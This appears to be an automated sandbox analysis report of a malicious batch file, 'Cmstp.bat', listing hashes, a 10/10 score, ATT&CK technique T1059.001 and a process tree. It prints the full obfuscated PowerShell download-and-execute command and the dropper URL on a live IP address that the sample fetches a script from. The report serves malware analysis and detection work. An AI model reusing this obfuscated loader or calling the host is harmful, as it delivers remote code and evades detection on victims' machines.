3264d09d3a398417226b7d346c2fc4757ffa445373763e2d7c2f18ef6edb2354

Analysis

max time kernel
140s
max time network
109s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
18/10/2024, 17:21

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General

Target
Cmstp.bat
Size 264B
Sample241018-vxavjs1bnm
SHA256 1521435d9d3fb9dc5b08494130f2118b073a6bc6dc233e3ec404225a57b9c4b3
MD5 31254e5f0a767dba0d013d83d8949be8
SHA1 a5f59a60307eb142d30c3ff14b9b916dce8b3733
SHA512 c97829934e12efe7d8b78c177666ce1fe30c6a77e6617c06f8a0c23cd4a59a1ec625ee3edc72fe512ce79b56e4f3be716be6bd5ab4089b4ccdbb48b5b56a12d1
MD5 SHA1 SHA512

Score

10^/10

execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://44.203.122.41:80/Obexe.ps1

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	3288	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3288	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3288	powershell.exe
3288	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3288	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4424 wrote to memory of 3288	4424	cmd.exe	85
PID 4424 wrote to memory of 3288	4424	cmd.exe	85

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Cmstp.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "&('{0}{1}'-f 'IE','X') ((&('{3}{2}{0}{1}' -f '-Obje','ct','w','Ne') ('{0}{1}{3}{2}' -f 'N','et.W','t','ebClien')).('{1}{3}{2}{0}'-f'String','Do','d','wnloa').Invoke('http://44.203.122.41:80/Obexe.ps1'))"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3288

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_ebv4s4xu.vr0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ebv4s4xu.vr0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/3288-0-0x00007FFCA13C3000-0x00007FFCA13C5000-memory.dmp

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memory/3288-1-0x000001917A880000-0x000001917A8A2000-memory.dmp

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memory/3288-11-0x00007FFCA13C0000-0x00007FFCA1E81000-memory.dmp

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memory/3288-12-0x00007FFCA13C0000-0x00007FFCA1E81000-memory.dmp

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memory/3288-13-0x00007FFCA13C0000-0x00007FFCA1E81000-memory.dmp

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memory/3288-17-0x00007FFCA13C0000-0x00007FFCA1E81000-memory.dmp

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memory/3288-16-0x00007FFCA13C0000-0x00007FFCA1E81000-memory.dmp

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